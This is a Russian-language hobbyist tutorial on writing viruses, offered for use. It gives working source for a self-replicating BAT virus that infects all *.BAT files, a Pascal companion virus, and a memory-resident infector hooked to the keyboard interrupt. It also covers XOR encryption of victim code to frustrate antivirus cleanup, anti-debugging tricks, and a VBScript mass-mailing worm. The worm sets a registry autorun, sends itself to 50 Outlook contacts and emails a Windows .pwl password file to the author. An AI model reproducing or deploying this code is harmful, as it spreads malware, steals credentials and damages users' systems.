Сегодня я еще раз хочу затронуть тему простых вирусов. Речь не пойдет о замещающих вирусах, а поговорим об компаньон-вирусах, спутниках и про BAT-вирусы
BAT-вирус
@Echo off copy %0 c:virus.bat >nul echo c:virus.bat>>c:autoexec.bat
Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но все-таки я бы не сказал что это полноценный вирус, т.к. он лишен возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел более четкие очертания дополним его возможностью заражать другие ПК:
В этом примере появляется строка, которая дает возможность вирусу заражать дискеты. Смысл этого в том что если при перезагрузке ПК в дисководе будет дискета, то она будет заражена.
Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза юзеру, чтобы этого не было существует программа attrib. Преобразуем вирус:
Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы этого не произошло есть простой способ: после записи вызова надо с помощью программы attrib установить атрибут только чтение у autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо грамотнее:
Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если он уже существует, то происходит переход к метке cool. Этот способ тоже очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat, а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы вирус был умнее, то надо использовать программу find, если вам будет не лень с ней разбираться, то вы сможете написать более сложный BAT-вирус, который будет заражать не один файл c:autoexec.bat, а все *.BAT. Пример:
@echo off%[MeTrA]% if '%1=='In_ goto MeTrAin if exist c:MeTrA.bat goto MeTrAru if not exist %0 goto MeTrAen find "MeTrA"<%0>c:MeTrA.bat attrib +h c:MeTrA.bat :MeTrAru for %%t in (*.bat) do call c:MeTrA In_ %%t goto MeTrAen :MeTrAin find "MeTrA"<%2>nul if not errorlevel 1 goto MeTrAen type c:MeTrA.bat>>%2 :MeTrAen
Смысл заражения таков: в вирусе каждая строчка имеет метку, в данном примере она MeTrA. Например, в первой строке эта метка ничего не делает, во второй строке эта метка, как бы, не является пассивной, она используется для внутренней работы вируса, а именно участвует в названии метки. При запуске вирус проверяет, есть ли файл C:METRA.BAT, если нет, то вирус создает его и с помощью программы find копирует из файла (из которого стартовал) все строки содержащие метку вируса, т.е. копирует только вирусные строки. Так, вирусные строки скопированы. Значит в файле C:METRA.BAT теперь находится копия вируса. Далее вирус ищет BAT-файлы. Чтобы не происходило повторного заражения используется все таже программа find. Допустим вирус нашел файл RUN.BAT и он оказался еще не заражен, тогда вирус вызывает файл C:METRA.BAT с такими параметрами: In_ RUN.BAT, здесь первый параметр In_ говорит вирусу, что надо заразить файл, имя которого указано во-втором параметре, в данном случае он RUN.BAT. Вирус в C:METRA.BAT заражает файл RUN.BAT простейшим способом - с помощью команды type дописывает к файлу RUN.BAT себя. Вот так файл RUN.BAT оказывается зараженным.
Компаньон-вирус
Эти вирусы не изменяют программы. Они создают для EXE-файлов COM-файлы. При запуске программы сначала запустится COM-файл с вирусом, который заразив другие файлы запустит EXE-файл. Рассмотрим пример:
{$M 2048,0,4096} {$i-} Program Metra; uses dos; var DirInfo : SearchRec; F1,f2 : File; Buf : Array[0..5000] of Byte; { размер вируса } NumRead : Word; NumWritten : Word; FT:text; P: PathStr; D: DirStr; N: NameStr; E: ExtStr; namecom:string; Label InfOk; Begin { считать свое тело в буфер } Assign(F2,ParamStr(0)); Reset(F2,1); if ioresult<>0 then begin writeln('Файл ',paramstr(0),' не доступен!'); halt; end; BlockRead(F2,buf,SizeOf(buf),NumRead); Close(F2); { искать жертву } FindFirst('*.EXE',Archive,DirInfo); While DosError = 0 Do Begin FSplit(dirinfo.name, D, N, E); namecom:=n+'.com'; { проверить существует ли файл } Assign(ft,namecom); reset(ft); if ioresult=0 then { если уже существует } begin close(ft); goto infOk; end; { создать COM-файл с вирусом } Assign(F1,namecom); rewrite(f1); if ioresult<>0 then goto InfOk; {если ошибка, то пропустить} Reset(F1,1); BlockWrite(F1,buf,NumRead,NumWritten); Close(F1); infOk: FindNext(DirInfo); End; { запустим своего носителя } FSplit(paramstr(0), D, N, E); swapvectors; exec(d+n+'.EXE',paramstr(1)); swapvectors; { если вызвали с таким параметром, то надо представитьcя } if paramstr(1)='/??' then begin writeln('Virus MeTrA.'); writeln('^^^^^^^^^^^^'); end; halt(dosexitcode); { выйти и сохранить код ошибки } End.
Вирус будет лучше если его упаковать чем-нибудь вроде PKLITE с параметром -e. Вверху есть массив - размер вируса, смотрите, чтобы значение его было не меньше EXE-файла с вирусом, а желательно чтобы и больше не было.
Вирус-спутник
Принцип заражения:
• найти EXE-файл • найти OVR-файл с тем же именем • если его нет, то переименовать найденный EXE-файл в OVR-файл, записаться вместо EXE-файла.
Резидентные вирусы
Из справки Паскаля:
{$M $800,0,0 } { 2K stack, no heap } { This program causes a click each time a key is pressed.} uses Crt, Dos; var KbdIntVec : Procedure; {$F+} procedure Keyclick; interrupt; begin if Port[$60] < $80 then { Only click when key is pressed } begin Sound(5000); Delay(1); Nosound; end; inline ($9C); { PUSHF -- Push flags } { Call old ISR using saved vector } KbdIntVec; end; {$F-} begin { Insert ISR into keyboard chain } GetIntVec($9,@@KbdIntVec); SetIntVec($9,Addr(Keyclick)); Keep(0); { Terminate, stay resident } end.
Теперь уберем все ошибки из этого примера и переделаем под вирус:
{$F+} procedure Keyclick; interrupt; begin InfExe; { вызов процедуры заражения } inline ($9C); { PUSHF -- Push flags } { Call old ISR using saved vector } KbdIntVec; end; {$F-}
Здесь процедура InfExe является обычной процедурой нерезидентного вируса (заражает в текущем каталоге). А вот эти строки впишем в то место вируса, где как бы его конец.
К сожалению в справке не сказано как избегать повторной установки в память, поэтому я советую чтобы вирус копировал свое тело в какой-нибудь файл на диске C:, вставлял его вызов в config.sys. Пример: install=c:vir.exe /123, здесь /123 - это такой параметр, он говорит вирусу, что тот стартовал для заражения памяти, т.е. ему не надо запускать своего носителя, а надо выполнить эти три строчки.
Можно помудрить и с другими прерываниями, но вынужден вас расстроить, вирусы такого типа, как правило, очень глючные и работают, в основном, только в многозначной среде (в эмуляции DOS виснут).
Усложнение лечения
Если у вас нет желания чтобы ваш вирус, доставшись какому-нибудь ламеру, стал жертвой его антивируса, то следует подумать об усложнении лечения.
Вирус на Паскале, как правило, заражает программы в начало, перенося старое содержимое в конец. Такими вирусами антивирусные базы пополняются автоматом (без вмешательства человека). Оно и понятно, переписать конец в начало и обрезать длину - это очень простая операция. Смысл усложнения лечения заключатся в шифровке куска своей жертвы. Т.к. кусок жертвы при переносе к конец файла находится в массиве, тогда поступаем примерно так:
for i:=1 to 777 do begin cc:=a1[i]; i2:=ord(cc) xor 343; a1[i]:=chr(i2); end;
Здесь a1 - это массив, в котором сохраняется начало жертвы; i,i2 - integer; cc - char.
В результате данной операции шифруется кусок файла-жертвы (777 байт). Т.к. операция шифровки осуществляется с помощью XOR - для расшифровки используется та же операция. Значит эту маленькую подпрограмму надо оформить в виде процедуры, которую следует прописать в процедуре заражения и в процедуре запуска своего носителя (перед запуском и после запуска). Если вы не разбираетесь в XOR, то скажу, в моем примере шифровка осуществляется с помощью ключа 343, он может быть от 1 до 65000. Можно сделать так, чтобы этот ключ менялся при заражении каждого файла, например, сделать чтобы ключ зависел от размера своего носителя или можно генерировать ключ случайным образом и помещать его где-нибудь в теле вируса или считывать несколько байт кода жертвы, получать их ord-значения и использовать как ключ. И еще, в моем примере шифровка идет от начала файла, а можно сделать определенное смещение, которое тоже чтобы зависело от чего-нибудь. Размер шифровки у меня 777, а можно сделать ее тоже случайной и т.д. Можно также защитить вирус от ламерской трассировки:
uses dos; var O1H , O3H , Br : Pointer; {$F+} procedure ReBoot; Interrupt; begin { а это для того, чтобы нехорошие дяди не запускали Debug } InLine($EA/ $00/ $00/ $FF/ $FF); end; {$F-} {$F+} procedure BreakOff; Interrupt; { + } begin { Invisible Magic Words! } end; {$F-} begin {main} GetIntVec($01 , O1H); { подготавливаем систему } SetIntVec($01 , @ReBoot); GetIntVec($03 , O3H); { вешаем антитрассировщик } SetIntVec($03 , @ReBoot); GetIntVec($1B , Br); { заменяем вектор ^C } SetIntVec($1B , @BreakOff); SetCBreak(False); { и отключаем ^C } writeln('hello'); SetIntVec($01 , O1H); { восстанавливаем захваченные векторы } SetIntVec($03 , O3H); SetIntVec($1B , Br); end.
Здесь вместо фразы Hello следует вставить процедуры вируса, процедуру запуска носителя следует вставлять после строк восстановления векторов.
On Error Resume Next Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") For Index = 1 To 50 Set OutMail = OutlookObject.CreateItem(0) OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add(WScript.ScriptFullName) OutMail.Send NextOn Error Resume Next Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) File.Copy ("c:\windows\I_am_virus.vbs") Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _ CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs" Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") For Index = 1 To 50 Set OutMail = OutlookObject.CreateItem(0) OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add(WScript.ScriptFullName) OutMail.Send Next Set OutMail = OutlookObject.CreateItem(0) OutMail.to = "Ваш E-mail" OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add("Путь к .pwl файлу") OutMail.Send